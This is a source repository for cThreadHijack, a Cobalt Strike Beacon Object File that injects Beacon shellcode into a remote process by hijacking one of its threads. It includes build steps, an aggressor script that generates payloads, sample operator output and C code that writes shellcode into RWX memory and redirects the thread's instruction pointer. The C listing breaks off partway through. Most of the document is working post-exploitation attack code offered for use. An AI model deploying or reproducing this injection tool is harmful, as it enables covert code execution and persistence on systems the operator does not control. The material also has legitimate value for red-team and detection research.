├── cThreadHijack.o ├── cThreadHijack.vcxproj.user ├── Makefile.msvc ├── libc.h ├── cThreadHijack.vcxproj.filters ├── cThreadHijack.sln ├── beacon.h ├── cThreadHijack.cna ├── README.md ├── .gitignore ├── cThreadHijack.vcxproj └── cThreadHijack.c /cThreadHijack.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/connormcgarr/cThreadHijack/HEAD/cThreadHijack.o -------------------------------------------------------------------------------- /cThreadHijack.vcxproj.user: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /Makefile.msvc: -------------------------------------------------------------------------------- 1 | build: 2 | @echo [+] Building cThreadHijack... 3 | @cl /nologo /c /GS- "cThreadHijack.c" /Fo"cThreadHijack.o" > NUL 4 | clean: 5 | @echo [+] Cleaning Solution... 6 | @del "cThreadHijack.o" /Q 7 | 8 | -------------------------------------------------------------------------------- /libc.h: -------------------------------------------------------------------------------- 1 | /* 2 | * *grumble* *grumble* BOF files don't have access to a libc. 3 | * So, these are quick implementations of some stuff we need. 4 | */ 5 | // Credits: https://github.com/rsmudge/CVE-2020-0796-BOF/blob/master/src/libc.c 6 | #include 7 | #include 8 | 9 | void mycopy(char* dst, const char* src, int size) { 10 | int x; 11 | for (x = 0; x < size; x++) { 12 | *dst = *src; 13 | dst++; 14 | src++; 15 | } 16 | } 17 | 18 | char mylc(char a) { 19 | if (a >= 'A' && a <= 'Z') { 20 | return a + 32; 21 | } 22 | else { 23 | return a; 24 | } 25 | } 26 | 27 | BOOL mycmpi(char* a, char* b) { 28 | while (*a != 0 && *b != 0) { 29 | if (mylc(*a) != mylc(*b)) 30 | return FALSE; 31 | a++; 32 | b++; 33 | } 34 | 35 | return TRUE; 36 | } -------------------------------------------------------------------------------- /cThreadHijack.vcxproj.filters: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | -------------------------------------------------------------------------------- /cThreadHijack.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.30404.54 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "cThreadHijack", "cThreadHijack.vcxproj", "{A45B232D-CF92-4061-BFDC-38F4EDF43FC4}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|x64 = Debug|x64 11 | Debug|x86 = Debug|x86 12 | Release|x64 = Release|x64 13 | Release|x86 = Release|x86 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {A45B232D-CF92-4061-BFDC-38F4EDF43FC4}.Debug|x64.ActiveCfg = Debug|x64 17 | {A45B232D-CF92-4061-BFDC-38F4EDF43FC4}.Debug|x64.Build.0 = Debug|x64 18 | {A45B232D-CF92-4061-BFDC-38F4EDF43FC4}.Debug|x86.ActiveCfg = Debug|Win32 19 | {A45B232D-CF92-4061-BFDC-38F4EDF43FC4}.Debug|x86.Build.0 = Debug|Win32 20 | {A45B232D-CF92-4061-BFDC-38F4EDF43FC4}.Release|x64.ActiveCfg = Release|x64 21 | {A45B232D-CF92-4061-BFDC-38F4EDF43FC4}.Release|x64.Build.0 = Release|x64 22 | {A45B232D-CF92-4061-BFDC-38F4EDF43FC4}.Release|x86.ActiveCfg = Release|Win32 23 | {A45B232D-CF92-4061-BFDC-38F4EDF43FC4}.Release|x86.Build.0 = Release|Win32 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {47947D20-B28F-4C6C-AC4B-62D592C2D883} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /beacon.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Beacon Object Files (BOF) 3 | * ------------------------- 4 | * A Beacon Object File is a light-weight post exploitation tool that runs 5 | * with Beacon's inline-execute command. 6 | * 7 | * Cobalt Strike 4.1. 8 | */ 9 | 10 | /* data API */ 11 | typedef struct { 12 | char * original; /* the original buffer [so we can free it] */ 13 | char * buffer; /* current pointer into our buffer */ 14 | int length; /* remaining length of data */ 15 | int size; /* total size of this buffer */ 16 | } datap; 17 | 18 | DECLSPEC_IMPORT void BeaconDataParse(datap * parser, char * buffer, int size); 19 | DECLSPEC_IMPORT int BeaconDataInt(datap * parser); 20 | DECLSPEC_IMPORT short BeaconDataShort(datap * parser); 21 | DECLSPEC_IMPORT int BeaconDataLength(datap * parser); 22 | DECLSPEC_IMPORT char * BeaconDataExtract(datap * parser, int * size); 23 | 24 | /* format API */ 25 | typedef struct { 26 | char * original; /* the original buffer [so we can free it] */ 27 | char * buffer; /* current pointer into our buffer */ 28 | int length; /* remaining length of data */ 29 | int size; /* total size of this buffer */ 30 | } formatp; 31 | 32 | DECLSPEC_IMPORT void BeaconFormatAlloc(formatp * format, int maxsz); 33 | DECLSPEC_IMPORT void BeaconFormatReset(formatp * format); 34 | DECLSPEC_IMPORT void BeaconFormatFree(formatp * format); 35 | DECLSPEC_IMPORT void BeaconFormatAppend(formatp * format, char * text, int len); 36 | DECLSPEC_IMPORT void BeaconFormatPrintf(formatp * format, char * fmt, ...); 37 | DECLSPEC_IMPORT char * BeaconFormatToString(formatp * format, int * size); 38 | DECLSPEC_IMPORT void BeaconFormatInt(formatp * format, int value); 39 | 40 | /* Output Functions */ 41 | #define CALLBACK_OUTPUT 0x0 42 | #define CALLBACK_OUTPUT_OEM 0x1e 43 | #define CALLBACK_ERROR 0x0d 44 | #define CALLBACK_OUTPUT_UTF8 0x20 45 | 46 | DECLSPEC_IMPORT void BeaconPrintf(int type, char * fmt, ...); 47 | DECLSPEC_IMPORT void BeaconOutput(int type, char * data, int len); 48 | 49 | /* Token Functions */ 50 | DECLSPEC_IMPORT BOOL BeaconUseToken(HANDLE token); 51 | DECLSPEC_IMPORT void BeaconRevertToken(); 52 | DECLSPEC_IMPORT BOOL BeaconIsAdmin(); 53 | 54 | /* Spawn+Inject Functions */ 55 | DECLSPEC_IMPORT void BeaconGetSpawnTo(BOOL x86, char * buffer, int length); 56 | DECLSPEC_IMPORT void BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len); 57 | DECLSPEC_IMPORT void BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len); 58 | DECLSPEC_IMPORT void BeaconCleanupProcess(PROCESS_INFORMATION * pInfo); 59 | 60 | /* Utility Functions */ 61 | DECLSPEC_IMPORT BOOL toWideChar(char * src, wchar_t * dst, int max); 62 | -------------------------------------------------------------------------------- /cThreadHijack.cna: -------------------------------------------------------------------------------- 1 | # Register help/usage for cThreadHijack 2 | beacon_command_register( 3 | "cThreadHijack", 4 | "cThreadHijack: Remote process injection via thread hijacking", 5 | "\ncThreadHijack: Remote process injection via thread hijacking\n". 6 | "\nUsage: cThreadHijack PID LISTENER_NAME\n". 7 | "\ncThreadHijack works by injecting raw Beacon shellcode, generated via a user-supplied listener argument, into a remote process, defined by the user-supplied PID argument, via VirtualAllocEx and WriteProcessMemory. Then, instead of spawning a new remote thread via CreateRemoteThread or other APIs, cThreadHijack identifies the first enumerated thread in the target process, suspends it, and retrieves the contents of the thread's CPU state via a CONTEXT structure. Then, the RIP register member of the CONTEXT structure (on 64-bit systems) is manipulated to point to the address of the aforementioned remote Beacon shellcode. Prior to execution, a routine is added to wrap the Beacon shellcode inside of a call to CreateThread - giving Beacon its own thread to work in, with this thread being locally spawned, versus being spawned remotely. The CreateThread routine is also wrapped in an NtContinue function call routine, allowing restoration of the previously hijacked thread without crashing the remote process. Beacon payloads for cThreadHijack are generated with a 'thread' exit function, allowing process continuation after the Beacon has been exited. Beacon listener names, when containing a space, must be placed in quotes.\n". 8 | "\nExample usage: cThreadHijack 8897 \"HTTPS Listener\"\n" 9 | ); 10 | 11 | # Setup cThreadHijack 12 | alias cThreadHijack { 13 | 14 | # Alias for Beacon ID and args 15 | local('$bid $listener $pid $payload'); 16 | 17 | # Set the number of arguments 18 | ($bid, $pid, $listener) = @_; 19 | 20 | # Determine the amount of arguments 21 | if (size(@_) != 3) 22 | { 23 | berror($bid, "Error! Please enter a valid listener and PID"); 24 | return; 25 | } 26 | 27 | # Read in the BOF 28 | $handle = openf(script_resource("cThreadHijack.o")); 29 | $data = readb($handle, -1); 30 | closef($handle); 31 | 32 | # Verify PID is an integer 33 | if ((!-isnumber $pid) || (int($pid) <= 0)) 34 | { 35 | berror($bid, "Please enter a valid PID!\n"); 36 | return; 37 | } 38 | 39 | # Generate a new payload 40 | $payload = payload_local($bid, $listener, "x64", "thread"); 41 | $handle1 = openf(">out.bin"); 42 | writeb($handle1, $data1); 43 | closef($handle1); 44 | 45 | # Pack the arguments 46 | # 'b' is binary data and 'i' is an integer 47 | $args = bof_pack($bid, "ib", $pid, $payload); 48 | 49 | # Run the BOF 50 | # go = Entry point of the BOF 51 | beacon_inline_execute($bid, $data, "go", $args); 52 | } -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ## cThreadHijack 2 | ``` 3 | ___________.__ .______ ___ .__ __ __ 4 | ___\__ ___/| |_________ ____ _____ __| _/ | \|__| |__|____ ____ | | __ 5 | _/ ___\| | | | \_ __ \_/ __ \\__ \ / __ / ~ \ | | \__ \ _/ ___\| |/ / 6 | \ \___| | | Y \ | \/\ ___/ / __ \_/ /_/ \ Y / | | |/ __ \\ \___| < 7 | \___ >____| |___| /__| \___ >____ /\____ |\___|_ /|__/\__| (____ /\___ >__|_ \ 8 | \/ \/ \/ \/ \/ \/ \______| \/ \/ \/ 9 | ``` 10 | Beacon Object File (BOF) for remote process injection, via thread hijacking, without spawning a remote thread. Accompanying blog can be found [here](https://connormcgarr.github.io/thread-hijacking/). cThreadHijack works by injecting raw Beacon shellcode, generated via a user-supplied listener argument, into a remote process, defined by the user-supplied PID argument, via `VirtualAllocEx` and `WriteProcessMemory`. Then, instead of spawning a new remote thread via `CreateRemoteThread` or other APIs, cThreadHijack identifies the first enumerated thread in the target process, suspends it, and retrieves the contents of the thread's CPU state via a `CONTEXT` structure. Then, the RIP register member of the `CONTEXT` structure (on 64-bit systems) is manipulated to point to the address of the aforementioned remote Payload. Prior to execution, a routine is added to wrap the Beacon shellcode inside of a call to `CreateThread` - giving Beacon its own thread to work in, with this thread being locally spawned, versus being spawned remotely. The `CreateThread` routine is also wrapped in an `NtContinue` function call routine, allowing restoration of the previously hijacked thread without crashing the remote process. Beacon payloads for cThreadHijack are generated with a 'thread' exit function, allowing process continuation after the Beacon has been exited. Beacon listener names, when containing a space, must be placed in quotes. 11 | 12 | ### BUILDING: ### 13 | 1. On a Windows machine, open a `x64 Native Tools Command Prompt for VS` prompt. This can be done by pressing the Windows key and typing `x64 Native Tools` and selecting the prompt. 14 | 2. Change directory to `C:\path\to\cThreadHijack`. 15 | 3. `nmake -f Makefile.msvc build` 16 | 4. Load cThreadHijack.cna through the Cobalt Strike `Script Console` with `load /path/to/cThreadHijack.cna` 17 | 18 | ### USAGE: ### 19 | `cThreadHijack PID LISTENER_NAME` 20 | 21 | ``` 22 | beacon> cThreadHijack 7340 TESTING 23 | [+] host called home, sent: 268433 bytes 24 | [+] received output: 25 | [+] Target process PID: 7340 26 | 27 | [+] received output: 28 | [+] Opened a handle to PID 7340 29 | 30 | [+] received output: 31 | [+] Found a thread in the target process! Thread ID: 10212 32 | 33 | [+] received output: 34 | [+] Suspending the targeted thread... 35 | 36 | [+] received output: 37 | [+] Wrote Beacon shellcode to the remote process! 38 | 39 | [+] received output: 40 | [+] Virtual memory for CreateThread and NtContinue routines allocated at 0x201f4ab0000 inside of the remote process! 41 | 42 | [+] received output: 43 | [+] Size of NtContinue routine: 64 bytes 44 | [+] Size of CONTEXT structure: 1232 bytes 45 | [+] Size of stack alignment routine: 4 46 | [+] Size of CreateThread routine: 64 47 | [+] Size of shellcode: 261632 bytes 48 | 49 | [+] received output: 50 | [+] Wrote payload to buffer to previously allocated buffer inside of! 51 | 52 | [+] received output: 53 | [+] Current RIP: 0x7ffa55df69a4 54 | 55 | [+] received output: 56 | [+] Successfully pointed the target thread's RIP register to the shellcode! 57 | 58 | [+] received output: 59 | [+] Current RIP: 0x201f4ab0000 60 | 61 | [+] received output: 62 | [+] Resuming the thread! Please wait a few moments for the Beacon payload to execute... 63 | ``` 64 | 65 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | ## Ignore Visual Studio temporary files, build results, and 2 | ## files generated by popular Visual Studio add-ons. 3 | ## 4 | ## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore 5 | 6 | # User-specific files 7 | *.rsuser 8 | *.suo 9 | *.user 10 | *.userosscache 11 | *.sln.docstates 12 | 13 | # User-specific files (MonoDevelop/Xamarin Studio) 14 | *.userprefs 15 | 16 | # Mono auto generated files 17 | mono_crash.* 18 | 19 | # Build results 20 | [Dd]ebug/ 21 | [Dd]ebugPublic/ 22 | [Rr]elease/ 23 | [Rr]eleases/ 24 | x64/ 25 | x86/ 26 | [Aa][Rr][Mm]/ 27 | [Aa][Rr][Mm]64/ 28 | bld/ 29 | [Bb]in/ 30 | [Oo]bj/ 31 | [Ll]og/ 32 | [Ll]ogs/ 33 | 34 | # Visual Studio 2015/2017 cache/options directory 35 | .vs/ 36 | # Uncomment if you have tasks that create the project's static files in wwwroot 37 | #wwwroot/ 38 | 39 | # Visual Studio 2017 auto generated files 40 | Generated\ Files/ 41 | 42 | # MSTest test Results 43 | [Tt]est[Rr]esult*/ 44 | [Bb]uild[Ll]og.* 45 | 46 | # NUnit 47 | *.VisualState.xml 48 | TestResult.xml 49 | nunit-*.xml 50 | 51 | # Build Results of an ATL Project 52 | [Dd]ebugPS/ 53 | [Rr]eleasePS/ 54 | dlldata.c 55 | 56 | # Benchmark Results 57 | BenchmarkDotNet.Artifacts/ 58 | 59 | # .NET Core 60 | project.lock.json 61 | project.fragment.lock.json 62 | artifacts/ 63 | 64 | # StyleCop 65 | StyleCopReport.xml 66 | 67 | # Files built by Visual Studio 68 | *_i.c 69 | *_p.c 70 | *_h.h 71 | *.ilk 72 | *.meta 73 | *.obj 74 | *.iobj 75 | *.pch 76 | *.pdb 77 | *.ipdb 78 | *.pgc 79 | *.pgd 80 | *.rsp 81 | *.sbr 82 | *.tlb 83 | *.tli 84 | *.tlh 85 | *.tmp 86 | *.tmp_proj 87 | *_wpftmp.csproj 88 | *.log 89 | *.vspscc 90 | *.vssscc 91 | .builds 92 | *.pidb 93 | *.svclog 94 | *.scc 95 | 96 | # Chutzpah Test files 97 | _Chutzpah* 98 | 99 | # Visual C++ cache files 100 | ipch/ 101 | *.aps 102 | *.ncb 103 | *.opendb 104 | *.opensdf 105 | *.sdf 106 | *.cachefile 107 | *.VC.db 108 | *.VC.VC.opendb 109 | 110 | # Visual Studio profiler 111 | *.psess 112 | *.vsp 113 | *.vspx 114 | *.sap 115 | 116 | # Visual Studio Trace Files 117 | *.e2e 118 | 119 | # TFS 2012 Local Workspace 120 | $tf/ 121 | 122 | # Guidance Automation Toolkit 123 | *.gpState 124 | 125 | # ReSharper is a .NET coding add-in 126 | _ReSharper*/ 127 | *.[Rr]e[Ss]harper 128 | *.DotSettings.user 129 | 130 | # TeamCity is a build add-in 131 | _TeamCity* 132 | 133 | # DotCover is a Code Coverage Tool 134 | *.dotCover 135 | 136 | # AxoCover is a Code Coverage Tool 137 | .axoCover/* 138 | !.axoCover/settings.json 139 | 140 | # Visual Studio code coverage results 141 | *.coverage 142 | *.coveragexml 143 | 144 | # NCrunch 145 | _NCrunch_* 146 | .*crunch*.local.xml 147 | nCrunchTemp_* 148 | 149 | # MightyMoose 150 | *.mm.* 151 | AutoTest.Net/ 152 | 153 | # Web workbench (sass) 154 | .sass-cache/ 155 | 156 | # Installshield output folder 157 | [Ee]xpress/ 158 | 159 | # DocProject is a documentation generator add-in 160 | DocProject/buildhelp/ 161 | DocProject/Help/*.HxT 162 | DocProject/Help/*.HxC 163 | DocProject/Help/*.hhc 164 | DocProject/Help/*.hhk 165 | DocProject/Help/*.hhp 166 | DocProject/Help/Html2 167 | DocProject/Help/html 168 | 169 | # Click-Once directory 170 | publish/ 171 | 172 | # Publish Web Output 173 | *.[Pp]ublish.xml 174 | *.azurePubxml 175 | # Note: Comment the next line if you want to checkin your web deploy settings, 176 | # but database connection strings (with potential passwords) will be unencrypted 177 | *.pubxml 178 | *.publishproj 179 | 180 | # Microsoft Azure Web App publish settings. Comment the next line if you want to 181 | # checkin your Azure Web App publish settings, but sensitive information contained 182 | # in these scripts will be unencrypted 183 | PublishScripts/ 184 | 185 | # NuGet Packages 186 | *.nupkg 187 | # NuGet Symbol Packages 188 | *.snupkg 189 | # The packages folder can be ignored because of Package Restore 190 | **/[Pp]ackages/* 191 | # except build/, which is used as an MSBuild target. 192 | !**/[Pp]ackages/build/ 193 | # Uncomment if necessary however generally it will be regenerated when needed 194 | #!**/[Pp]ackages/repositories.config 195 | # NuGet v3's project.json files produces more ignorable files 196 | *.nuget.props 197 | *.nuget.targets 198 | 199 | # Microsoft Azure Build Output 200 | csx/ 201 | *.build.csdef 202 | 203 | # Microsoft Azure Emulator 204 | ecf/ 205 | rcf/ 206 | 207 | # Windows Store app package directories and files 208 | AppPackages/ 209 | BundleArtifacts/ 210 | Package.StoreAssociation.xml 211 | _pkginfo.txt 212 | *.appx 213 | *.appxbundle 214 | *.appxupload 215 | 216 | # Visual Studio cache files 217 | # files ending in .cache can be ignored 218 | *.[Cc]ache 219 | # but keep track of directories ending in .cache 220 | !?*.[Cc]ache/ 221 | 222 | # Others 223 | ClientBin/ 224 | ~$* 225 | *~ 226 | *.dbmdl 227 | *.dbproj.schemaview 228 | *.jfm 229 | *.pfx 230 | *.publishsettings 231 | orleans.codegen.cs 232 | 233 | # Including strong name files can present a security risk 234 | # (https://github.com/github/gitignore/pull/2483#issue-259490424) 235 | #*.snk 236 | 237 | # Since there are multiple workflows, uncomment next line to ignore bower_components 238 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622) 239 | #bower_components/ 240 | 241 | # RIA/Silverlight projects 242 | Generated_Code/ 243 | 244 | # Backup & report files from converting an old project file 245 | # to a newer Visual Studio version. Backup files are not needed, 246 | # because we have git ;-) 247 | _UpgradeReport_Files/ 248 | Backup*/ 249 | UpgradeLog*.XML 250 | UpgradeLog*.htm 251 | ServiceFabricBackup/ 252 | *.rptproj.bak 253 | 254 | # SQL Server files 255 | *.mdf 256 | *.ldf 257 | *.ndf 258 | 259 | # Business Intelligence projects 260 | *.rdl.data 261 | *.bim.layout 262 | *.bim_*.settings 263 | *.rptproj.rsuser 264 | *- [Bb]ackup.rdl 265 | *- [Bb]ackup ([0-9]).rdl 266 | *- [Bb]ackup ([0-9][0-9]).rdl 267 | 268 | # Microsoft Fakes 269 | FakesAssemblies/ 270 | 271 | # GhostDoc plugin setting file 272 | *.GhostDoc.xml 273 | 274 | # Node.js Tools for Visual Studio 275 | .ntvs_analysis.dat 276 | node_modules/ 277 | 278 | # Visual Studio 6 build log 279 | *.plg 280 | 281 | # Visual Studio 6 workspace options file 282 | *.opt 283 | 284 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.) 285 | *.vbw 286 | 287 | # Visual Studio LightSwitch build output 288 | **/*.HTMLClient/GeneratedArtifacts 289 | **/*.DesktopClient/GeneratedArtifacts 290 | **/*.DesktopClient/ModelManifest.xml 291 | **/*.Server/GeneratedArtifacts 292 | **/*.Server/ModelManifest.xml 293 | _Pvt_Extensions 294 | 295 | # Paket dependency manager 296 | .paket/paket.exe 297 | paket-files/ 298 | 299 | # FAKE - F# Make 300 | .fake/ 301 | 302 | # CodeRush personal settings 303 | .cr/personal 304 | 305 | # Python Tools for Visual Studio (PTVS) 306 | __pycache__/ 307 | *.pyc 308 | 309 | # Cake - Uncomment if you are using it 310 | # tools/** 311 | # !tools/packages.config 312 | 313 | # Tabs Studio 314 | *.tss 315 | 316 | # Telerik's JustMock configuration file 317 | *.jmconfig 318 | 319 | # BizTalk build output 320 | *.btp.cs 321 | *.btm.cs 322 | *.odx.cs 323 | *.xsd.cs 324 | 325 | # OpenCover UI analysis results 326 | OpenCover/ 327 | 328 | # Azure Stream Analytics local run output 329 | ASALocalRun/ 330 | 331 | # MSBuild Binary and Structured Log 332 | *.binlog 333 | 334 | # NVidia Nsight GPU debugger configuration file 335 | *.nvuser 336 | 337 | # MFractors (Xamarin productivity tool) working folder 338 | .mfractor/ 339 | 340 | # Local History for Visual Studio 341 | .localhistory/ 342 | 343 | # BeatPulse healthcheck temp database 344 | healthchecksdb 345 | 346 | # Backup folder for Package Reference Convert tool in Visual Studio 2017 347 | MigrationBackup/ 348 | 349 | # Ionide (cross platform F# VS Code tools) working folder 350 | .ionide/ 351 | -------------------------------------------------------------------------------- /cThreadHijack.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 23 | 16.0 24 | Win32Proj 25 | {a45b232d-cf92-4061-bfdc-38f4edf43fc4} 26 | cThreadHijack 27 | 10.0 28 | 29 | 30 | 31 | Application 32 | true 33 | v142 34 | Unicode 35 | 36 | 37 | Application 38 | false 39 | v142 40 | true 41 | Unicode 42 | 43 | 44 | Application 45 | true 46 | v142 47 | Unicode 48 | 49 | 50 | Application 51 | false 52 | v142 53 | true 54 | Unicode 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | true 78 | 79 | 80 | false 81 | 82 | 83 | true 84 | 85 | 86 | false 87 | 88 | 89 | 90 | 91 | Level3 92 | true 93 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 94 | true 95 | 96 | 97 | Console 98 | true 99 | 100 | 101 | 102 | 103 | Level3 104 | true 105 | true 106 | true 107 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 108 | true 109 | 110 | 111 | Console 112 | true 113 | true 114 | true 115 | 116 | 117 | 118 | 119 | Level3 120 | true 121 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 122 | true 123 | 124 | 125 | Console 126 | true 127 | 128 | 129 | 130 | 131 | Level3 132 | true 133 | true 134 | true 135 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 136 | true 137 | 138 | 139 | Console 140 | true 141 | true 142 | true 143 | 144 | 145 | 146 | 147 | 148 | 149 | 150 | 151 | -------------------------------------------------------------------------------- /cThreadHijack.c: -------------------------------------------------------------------------------- 1 | // cThreadHijack: Beacon Object File (BOF) to identify a legitimate thread within a remote process, suspend it, point the thread to shellcode, and resume/restore it 2 | // Author: Connor McGarr (@33y0re) 3 | 4 | #include 5 | #include 6 | #include "libc.h" 7 | #include "beacon.h" 8 | 9 | void go(char* argc, int len) 10 | { 11 | // Function declarations 12 | WINBASEAPI FARPROC WINAPI KERNEL32$GetProcAddress(HMODULE, LPCSTR); 13 | WINBASEAPI HMODULE WINAPI KERNEL32$GetModuleHandleA(LPCSTR); 14 | WINBASEAPI void* WINAPI MSVCRT$malloc(SIZE_T); 15 | DECLSPEC_IMPORT void WINAPI MSVCRT$free(void*); 16 | DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateToolhelp32Snapshot(DWORD, DWORD); 17 | WINBASEAPI BOOL WINAPI KERNEL32$CloseHandle(HANDLE); 18 | WINBASEAPI HANDLE WINAPI KERNEL32$OpenProcess(DWORD, BOOL, DWORD); 19 | WINBASEAPI LPVOID WINAPI KERNEL32$VirtualAllocEx(HANDLE, LPVOID, SIZE_T, DWORD, DWORD); 20 | WINBASEAPI BOOL WINAPI KERNEL32$WriteProcessMemory(HANDLE, LPVOID, LPCVOID, SIZE_T, SIZE_T); 21 | WINBASEAPI BOOL WINAPI KERNEL32$VirtualProtect(LPVOID, SIZE_T, DWORD, PDWORD); 22 | WINBASEAPI HANDLE WINAPI KERNEL32$OpenThread(DWORD, BOOL, DWORD); 23 | WINBASEAPI BOOL WINAPI KERNEL32$Thread32First(HANDLE, LPTHREADENTRY32); 24 | WINBASEAPI BOOL WINAPI KERNEL32$Thread32Next(HANDLE, LPTHREADENTRY32); 25 | WINBASEAPI DWORD WINAPI KERNEL32$SuspendThread(HANDLE); 26 | WINBASEAPI DWORD WINAPI KERNEL32$ResumeThread(HANDLE); 27 | WINBASEAPI BOOL WINAPI KERNEL32$GetThreadContext(HANDLE, LPCONTEXT); 28 | NTSYSAPI VOID WINAPI NTDLL$RtlMoveMemory(PVOID, const VOID*, SIZE_T); 29 | WINBASEAPI BOOL WINAPI KERNEL32$SetThreadContext(HANDLE, LPCONTEXT); 30 | WINBASEAPI DWORD WINAPI KERNEL32$GetLastError(); 31 | 32 | // Parameters needed for BOFs to take in input 33 | // datap is a typedef'd structure 34 | datap parser; 35 | DWORD payloadSize = NULL; 36 | 37 | // Parse arguments 38 | BeaconDataParse(&parser, argc, len); 39 | 40 | // Store the desired PID 41 | int pid = BeaconDataInt(&parser); 42 | 43 | // Store the payload and grab the size 44 | char* shellcode = (char*)BeaconDataExtract(&parser, &payloadSize); 45 | 46 | // Define NTSTATUS code 47 | NTSTATUS statusSuccess = (NTSTATUS)0x00000000; 48 | 49 | // Print update 50 | BeaconPrintf(CALLBACK_OUTPUT, "[+] Target process PID: %d\n", pid); 51 | 52 | // Open up a handle to the targeted process 53 | HANDLE processHandle = KERNEL32$OpenProcess( 54 | PROCESS_VM_OPERATION | PROCESS_VM_WRITE, 55 | FALSE, 56 | (DWORD)pid 57 | ); 58 | 59 | // Error handling 60 | if (processHandle == NULL) 61 | { 62 | BeaconPrintf(CALLBACK_ERROR, "Error! Unable to open a handle to the process. Error: 0x%lx\n", KERNEL32$GetLastError()); 63 | } 64 | else 65 | { 66 | BeaconPrintf(CALLBACK_OUTPUT, "[+] Opened a handle to PID %d\n", pid); 67 | 68 | // Parameters for call to CreateToolhelp32Snapshot() 69 | THREADENTRY32 lpte; 70 | lpte.dwSize = sizeof(THREADENTRY32); 71 | HANDLE desiredThread = NULL; 72 | 73 | // Get a snapshot of all of the threads 74 | HANDLE threadSnapshot = KERNEL32$CreateToolhelp32Snapshot( 75 | TH32CS_SNAPTHREAD, 76 | 0 77 | ); 78 | 79 | // Parse the threads and look for the first thread within the target process 80 | if (KERNEL32$Thread32First(threadSnapshot, &lpte) == TRUE) 81 | { 82 | while (KERNEL32$Thread32Next(threadSnapshot, &lpte) == TRUE) 83 | { 84 | // Stop when the first thread of the target process is found and open a handle to the thread 85 | if (lpte.th32OwnerProcessID == pid) 86 | { 87 | // Print update 88 | BeaconPrintf(CALLBACK_OUTPUT, "[+] Found a thread in the target process! Thread ID: %d\n", lpte.th32ThreadID); 89 | 90 | // Open a handle to the thread 91 | desiredThread = KERNEL32$OpenThread( 92 | THREAD_SUSPEND_RESUME | THREAD_SET_CONTEXT | THREAD_GET_CONTEXT, 93 | FALSE, 94 | lpte.th32ThreadID 95 | ); 96 | 97 | // Break the loop 98 | break; 99 | } 100 | } 101 | } 102 | 103 | // Close up the handle 104 | KERNEL32$CloseHandle( 105 | threadSnapshot 106 | ); 107 | 108 | // Print update 109 | BeaconPrintf(CALLBACK_OUTPUT, "[+] Suspending the targeted thread...\n"); 110 | 111 | // Suspend the targeted thread 112 | DWORD suspendThread = KERNEL32$SuspendThread( 113 | desiredThread 114 | ); 115 | 116 | // Parameter for call to GetThreadContext() and SetThreadContext() 117 | CONTEXT cpuRegisters = { 0 }; 118 | cpuRegisters.ContextFlags = CONTEXT_ALL; 119 | 120 | // Dump the state of the registers of the current thread 121 | BOOL getContext = KERNEL32$GetThreadContext( 122 | desiredThread, 123 | &cpuRegisters 124 | ); 125 | 126 | // Error handling 127 | if (!getContext) 128 | { 129 | BeaconPrintf(CALLBACK_ERROR, "Error! Unable to get the state of the target thread. Error: 0x%lx\n", KERNEL32$GetLastError()); 130 | } 131 | else 132 | { 133 | // Inject shellcode into remote process 134 | // This address will be used for local thread creation within the remote process eventually 135 | PVOID placeRemotely = KERNEL32$VirtualAllocEx( 136 | processHandle, 137 | NULL, 138 | payloadSize, 139 | MEM_RESERVE | MEM_COMMIT, 140 | PAGE_EXECUTE_READWRITE 141 | ); 142 | 143 | // Error handling 144 | if (placeRemotely == NULL) 145 | { 146 | BeaconPrintf(CALLBACK_ERROR, "Error! Unable to allocate memory within the remote process. Error: 0x%lx\n", KERNEL32$GetLastError()); 147 | } 148 | else 149 | { 150 | // Write the shellcode to the remote buffer 151 | BOOL writeRemotely = KERNEL32$WriteProcessMemory( 152 | processHandle, 153 | placeRemotely, 154 | shellcode, 155 | payloadSize, 156 | NULL 157 | ); 158 | 159 | // Error handling 160 | if (!writeRemotely) 161 | { 162 | 